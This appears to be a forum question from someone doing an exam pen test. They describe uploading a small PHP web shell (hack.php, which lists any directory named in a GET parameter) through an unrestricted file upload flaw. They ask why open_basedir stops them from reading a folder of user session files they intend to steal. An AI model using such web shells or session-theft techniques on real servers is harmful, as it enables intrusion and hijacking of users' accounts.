I am performing a pen test on a web server as one of the tasks in an exam, and after exploiting a unrestricted file upload vulnerability (https://www.owasp.org/index.php/Unrestricted_File_Upload), I am trying to access a certain folder on the web server, and I am getting this error:
Warning: scandir(): open_basedir restriction in effect. File(C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS) is not within the allowed path(s): (C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs;C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS) in C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs\ticketAttachments\4b3519fbe17e82993e76927e5f253e33\hack.php
Please notice that the path is actually in the allowed paths (I guess that was the point of this task in the exam, to steal all the user sessions).
I do not have access to the server so I cannot change any settings on the server, I only have to get all the sess_* files that are probably stored in that C:\inetpub\sitesdata\mysite.com\SESSIONS\USERS
folder.
These are the contents of my hack.php file:
<pre style="text-align:left">
<?php
$files = scandir($_GET['path']);
foreach ($files as $file) {
echo $file;
echo "\n";
}
?>
</pre>
I have tried accessing the other path in the allowed paths and it's the same.
But the odd thing is that I can read the contents of the C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs\ticketAttachments
, but not the C:\inetpub\vhosts\mysite.com\subdomains\me\httpdocs
, which is actually in the allowed paths.
Am I doing something wrong here?